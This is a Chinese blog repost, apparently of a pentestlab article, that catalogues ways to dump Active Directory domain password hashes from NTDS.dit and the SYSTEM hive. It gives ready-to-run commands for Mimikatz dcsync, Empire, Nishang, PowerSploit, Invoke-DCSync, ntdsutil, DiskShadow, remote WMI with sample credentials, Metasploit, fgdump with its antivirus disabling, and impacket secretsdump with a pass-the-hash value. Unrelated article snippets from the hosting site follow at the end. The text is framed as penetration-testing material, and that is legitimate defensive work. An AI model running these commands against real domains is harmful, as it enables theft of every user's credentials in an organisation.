6.Dump域内用户Hash姿势集合_weixin_30426879的博客-程序员宅基地

技术标签: 操作系统  数据库  大数据  

本文转自先知社区,原文链接:https://xz.aliyun.com/t/2527#toc-10

原文地址:https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes

 

<h1>在渗透测试的过程中,当我们已经是域管权限时,就可以实现提取所有域内用户的密码哈希以进行离线破解和分析,这是非常常见的一个操作。这些哈希值存储在域控制器(NTDS.DIT​​)中的数据库文件中,并带有一些其他信息,如组中成员身份和用户。</h1>

NTDS.DIT​​文件经常被操作系统使用,因此无法直接复制到其他位置以提取信息。可以在Windows以下位置找到此文件:

C:\Windows\NTDS\NTDS.dit

ps:这是我自己域控中的实例

可以使用各种骚操作来提取此文件或存储在其中的信息,但是大多数情况下都使用以下方法之一:

  • 域控复制服务
  • 原生Windows二进制文件
  • WMI

Mimikatz

Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从NTDS.DIT​​文件中检索密码哈希值。这样子解决了需要直接使用域控制器进行身份验证的需要,因为它可以从域管理员的上下文中获得执行权限。因此它是红队的基本操作,因为它不那么复杂。

lsadump::dcsync /domain:pentestlab.local /all /csv

ps:这是我在我本地DC中实际测试的图

ps:目录复制服务远程协议解释:目录复制服务远程协议是用于DC之间复制和AD管理的RPC协议。该协议由一个名为drsuapi的 RPC接口组成。
对于客户端与AD轻型目录服务(AD/LDS)域控制器建立RPC连接,它需要知道计算机的名称以及AD/LDS域控制器正在侦听的LDAP端口的编号。
首先,客户端建立与计算机上的端点映射器服务的连接。 接下来,客户端枚举为所需接口ID注册的所有端点。最后,客户端选择其注释等于所需AD
/LDS域控制器的LDAP端口号的端点。 此协议适用于管理目录中的对象,以及目录服务的整体管理。

通过使用/user参数指定域用户名,Mimikatz可以dump此特定用户的所有帐户信息,包括其密码哈希。

lsadump::dcsync /domain:pentestlab.local /user:test

wing's DC

或者直接在域控制器中执行Mimikatz,通过lsass.exe进程dump哈希。

privilege::debug
lsadump::lsa /inject

将检索域内用户的密码哈希值。

Empire

PowerShell Empire有两个模块,可以通过DCSync攻击dump域内哈希值。这两个模块都需要以域管理员权限执行,并且目标机器正在使用Microsoft复制服务。这些模块依赖于Invoke-Mimikatz PowerShell脚本来执行与DCSync相关的Mimikatz命令。以下模块将域内哈希值提取为类似于Metasploit hashdump命令输出的格式。

usemodule credentials/mimikatz/dcsync_hashdump


DCSync模块dump所有的帐户中指定的用户信息。

将获得以下信息:

Nishang

Nishang是一个PowerShell框架,它让redteam和渗透测试人员能够对系统进行攻击性操作。Nishang中的VSS脚本可以用于自动提取所需的文件:NTDS.DIT​​,SAMSYSTEM。这些文件将被解压缩到当前工作目录或指定的任何其他文件夹中。

Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\


我操作完之后当前文件夹已经dump了。

或者,可以通过现有的Meterpreter会话加载PowerShell扩展来执行脚本。

load powershell
powershell_import /root/Copy-VSS.ps1
powershell_execute Copy-VSS

也可以使用命令powershell_shell直接建立PowerShell会话,以便在在现有的Meterpreter会话中导入脚本后提取文件。

Copy-VSS
Copy-VSS -DestinationDir C:\Ninja

PowerSploit

PowerSploit包含PowerShell脚本,该脚本利用卷复制服务创建可用于提取文件的新卷。

Import-Module .\VolumeShadowCopyTools.ps1
New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy


或者,可以通过加载PowerShell扩展来从现有的Meterpreter会话执行它。

powershell_shell
New-VolumeShadowCopy -Volume C:\
Get-VOlumeShadowCopy


然后,可以使用copy命令将文件从新卷复制到目标路径。

Invoke-DCSync

Invoke–DCSync 是Nick Landers利用PowerView开发的powershell脚本。
Invoke-ReflectivePEInjection和PowerKatz的DLL wrapper 调用Mimikatz的DCSync方法检索哈希值。
直接执行该函数将生成以下输出:

Invoke-DCSync

优秀,哈哈!

结果将格式化为四个表:Domain,User,RID和Hash。但是,使用参数-PWDumpFormat执行Invoke-DCSync将以以下格式检索哈希:

user:id:lm:ntlm :::

Invoke-DCSync -PWDumpFormat


通过从现有的Meterpreter会话运行脚本,可以实现相同的输出。


使用PWDumpFormat:

NTDSUTIL

该NTDSUTIL是一个命令行工具,它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数据库。但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取。

ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit


将生成两个新文件夹:Active Directory和Registry。NTDS.DIT​​文件将保存在Active Directory中,SAM和SYSTEM文件将保存到Registry文件夹中。

DiskShadow

DiskShadow是Microsoft签名的二进制文件,用于协助管理员执行与卷复制服务(VSS)相关的操作。最初bohops在他的博客中写到了这个二进制文件。这个二进制文件有两个交互式和脚本模式,因此可以使用一个脚本文件,它将包含自动执行NTDS.DIT​​提取过程所需的所有命令。脚本文件可以包含以下行,以便创建新的卷影副本,装入新驱动器,执行复制命令并删除卷影副本。

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

需要注意一点,DiskShadow二进制文件需要从C:\Windows\System32路径执行。如果从另一个路径调用它,脚本将无法正确执行。

diskshadow.exe /s c:\diskshadow.txt


直接从解释器运行以下命令将列出系统的所有可用卷影副本。

diskshadow
LIST SHADOWS ALL



SYSTEM注册表配置单元也应该复制,因为它包含解密NTDS文件内容的密钥。

reg.exe save hklm\system c:\exfil\system.bak

WMI

Sean Metcalf在他的博客中证明了,可以通过WMI远程提取NTDS.DIT​​和SYSTEM文件。此技术使用vssadmin二进制文件来创建卷的副本。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"


然后,它远程执行复制命令,以便将卷影副本中的NTDS.DIT​​文件解压缩到目标系统上的另一个目录中。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"


这同样适用于SYSTEM文件。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"


然后,解压缩的文件可以从域控制器传输到另一个Windows系统,然后dump域内用户密码哈希值。

PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp


如果已生成金票据,则可以使用它通过Kerberos与域控制器进行身份验证,而不是凭据。

VSSADMIN

卷影拷贝服务是Windows命令行实用的程序,使管理员可以备份计算机,卷和文件,即使它们正在被操作系统使用。卷影复制作为服务运行,并要求将文件系统格式化为NTFS,默认情况下所有现代操作系统都是如此。从Windows命令提示符执行以下操作将创建C:驱动器的快照,以便用户通常无法访问这些文件以将其复制到另一个位置(本地文件夹,网络文件夹或可移动设备)。

vssadmin create shadow /for=C:
ps:
关于Volume Shadow Copy 服务:
它是管理及执行用于备份和其他目的的磁碟区卷影。如果这个服务被停止,卷影将无法用于备份,备份可能会失败。如果这个服务被停用,依存它的服务无法启动。
这一服务唯一的缺点是你需要为每一个卷影留出更多的磁盘空间,因为你必须在某处存储这些拷贝。
它主要是用来备份数据库之类的数据,个人电脑确实一般用不上它。可以放心禁用!

由于C:驱动器中的所有文件都已复制到另一个位置(HarddiskVolumeShadowCopy1),因此它们不会被操作系统直接使用,因此可以访问他并且复制到另一个位置。命令副本将NTDS.DIT和SYSTEM文件复制到名为ShadowCopy的本地驱动器上的新创建文件夹中。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy


需要将这些文件从域控制器复制到另一个主机以进行进一步处理。

vssown

与vssadmin程序类似,Tim Tomes开发了vssown,它是一个可视化的基本脚本,可以创建和删除卷影副本,从卸载的卷影副本运行任意可执行文件,以及启动和停止卷影复制服务。

cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
cscript vssown.vbs /delete


可以使用命令复制所需的文件。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown

Metasploit

Metasploit框架有一个模块,它通过服务器消息块(SMB)服务直接与域控制器进行身份验证,创建系统驱动器的卷影副本,并将NTDS.DIT​​和SYSTEM配置单元的副本下载到Metasploit目录中。这些文件可以与impacket等其他工具一起使用,这些工​​具可以进行 active directory哈希密码的提取。

auxiliary/admin/smb/psexec_ntdsgrab


还有一个后渗透模块,可以链接到现有的Meterpreter会话,以便通过ntdsutil方法检索域哈希。

windows/gather/credentials/domain_hashdump

或者,如果已经拿到域控制器的现有Meterpreter会话,则可以使用命令hashdump。但是,此方法不被认为是安全的,因为它可能会使域控崩掉。

hashdump

fgdump

fgdump是一个比较老的可执行文件,可提取的LanMan和NTLM的密码哈希值。如果已获取本地管理员凭据,则可以在本地或远程执行。在执行期间,fgdump将尝试禁用可能在系统上运行的防病毒软件,如果成功,则会将所有数据写入两个文件中。如果存在防病毒或端点解决方案,则不应该将fgdump用作dump密码哈希的方法以避免检测,因为大多数防病毒公司(包括Microsoft的Windows Defender)都会对将它kill掉。

fgdump.exe

可以通过检查.pwdump文件的内容来get密码哈希值。

type 127.0.0.1.pwdump

NTDS提取

Impacket是一组python脚本,可用于执行各种任务,包括提取NTDS文件的内容。impacket-secretsdump模块需要系统和NTDS数据库文件.

impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

此外,impacket可以通过使用计算机帐户及其哈希进行身份验证然后从NTDS.DIT​​文件远程dump域内所有密码哈希。

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

作为impacket的替代解决方案,NTDSDumpEx二进制文件可以从Windows主机中提取域密码哈希值。

NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

还有一个shell脚本adXtract,它可以将用户名和密码哈希导出为一种格式,可以使用常见密码破解程序进行破解,例如John the Ripper和Hashcat。

./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

该脚本将所有信息写入项目名称下的各种文件中,当数据库文件NTDS的解密完成后,将用户列表和密码哈希值导出到控制台中。该脚本将提供有关域用户的大量信息,如下所示。

密码哈希将以下列格式显示。

转载于:https://www.cnblogs.com/bmjoker/p/10529360.html

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_30426879/article/details/98036516

智能推荐

多个物体轮廓c语言提取算法,C++ opencv-3.4.1 提取不规则物体的轮廓_LeoShaoQiang的博客-程序员宅基地

在学习opencv的时候,对一张照片,需要标注照片上物体的不规则轮廓。如图:使用opencv进行物体的轮廓处理,关键在于对照片的理解,前期的照片处理的越好最后调用api出来的结果就越接近理想值。提取照片中物体分如下三步:图像去噪,高斯模糊二值化去除噪点,形态学操作,去除较小的噪点进行轮廓查找#include #include #include using namespace cv;using na...

Spring Mvc 的核心组件_下列关于springmvc核心组件的是_猫儿爷爷的博客-程序员宅基地

1.Dispatcher Servlet2.Controller3.Handeler Mapping4.VierResolver & View5.Interceptors6.LocalResolver 7.Vaildate

Contextual Residual Aggregation for Ultra High-Resolution Image Inpainting |代码测试 |【CVPR 2020】_墨理学AI的博客-程序员宅基地

论文:Contextual Residual Aggregation for Ultra High-Resolution Image Inpainting代码:https://github.com/Atlas200dk/sample-imageinpainting-HiFill环境搭建:conda create -n tf13 python=3.6.6conda activate tf13pip install tensorflow-gpu==1.13.2pip install .

android 定时更换ui,Android中使用定时器更新UI_一千次的回头的博客-程序员宅基地

采用Handler、Timer和TimerTask一起使用Timer是任务调度器TimerTask是指定要执行的操作Handler负责线程之间的通信去更新UI元素1.先定义要执行的操作,主要是想handler发送消息TimerTask task = new TimerTask() {@Overridepublic void run() {// TODO Auto-generated method ...

SVM_svm训练_Nautilus_sailing的博客-程序员宅基地

一SVM概述二结构风险最小化三线性SVM四SVM求解五处理线性不可分问题六SVM训练算法一、SVM概述 通俗来讲,SVM是一种二类分类模型, 其基本模型定义为特征空间上的间隔最大的线性分类器, 即支持向量机的学习策略便是间隔最大化, 最终可转化为一个凸二次规划问题的求解。 二、结构风险最小化 三、线性SVM 四、SVM求解 五、处理线性不可分问题软间隔

随便推点

多个div水平排列并且居中_cssdiv居中排列_逆境中徘徊的博客-程序员宅基地

&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt; &amp;lt;div style=&quot;display: inline-block;&quot;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div style=&quot;display: inline-block;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;tex

HotSpot中七种垃圾收集器_KevanLiu的博客-程序员宅基地

转:https://crowhawk.github.io/2017/08/15/jvm_3/如果说收集算法是内存回收的方法论,那么垃圾收集器就是内存回收的具体实现。Java虚拟机规范中对垃圾收集器应该如何实现并没有任何规定,因此不同的厂商、版本的虚拟机所提供的垃圾收集器都可能会有很大差别,并且一般都会提供参数供用户根据自己的应用特点和要求组合出各个年代所使用的收集器。接下来讨论的收集器基于JD...

未来12个趋势_正在发生的不叫做趋势_llcjx_5892的博客-程序员宅基地

未来12个趋势  今天,我非常高兴能够来到中国,尤其是来到深圳!深圳正在发生着翻天覆地的变化,我来这里不仅仅是给大家分享未来将会发生什么事情,更多的是要向大家学习,与大家共同探讨深圳将会发生什么。这里代表着未来,今天要重点谈谈我所认为的未来将发生的十二个趋势。  我所看到的十二个趋势,其实并不是什么新鲜的想法,因为过去20年中,这些都正在悄然发生,只是未来这些趋势将会更加明显,更加剧烈。这

fastjson升级汇总_尚云峰的博客-程序员宅基地

fastjson更新的坑fastjson由1.2.7更新至1.2.56fastjson从1.1.41升级到1.2.28的坑fastjson漏洞升级修复小记FastJson 1.1.26升级到1.2.58后出现的问题1.2.44升级至1.2.68升级问题fastjson升级版本遇到的问题安全补丁版本升级建议...

Algorithm Complexity|Merge Sort|Fibonanci number(NLP 10-17笔记)_approximate the sweet point of merge sort_Andromeda的博客-程序员宅基地

Agenda:复杂度回归并归排序以及master theoremP,NP,NP hard,NP complete斐波那契数的计算:递归实现,循环实现问答系统介绍计算复杂度:主定理,递归树L12merge sort(归并) 详见链接divide and conquer(Category)图解:归并排序:拆分成子问题,再分别调用子问题,子问题分别排序。解决了子问题后,再将结果进...

gmssl编译linux,gmssl编译安装出错解决_小小奋斗nice的博客-程序员宅基地

gmssl编译安装出错解决这篇文章对于学习这个知识点有较好的参考作用,需要了解这方面技术的可以斟酌学习一下。错误1Operating system: x86_64-whatever-linux2 “glob” is not exported by the File::Glob module Can’t continue after import errors at ./Configure line...

推荐文章

热门文章

相关标签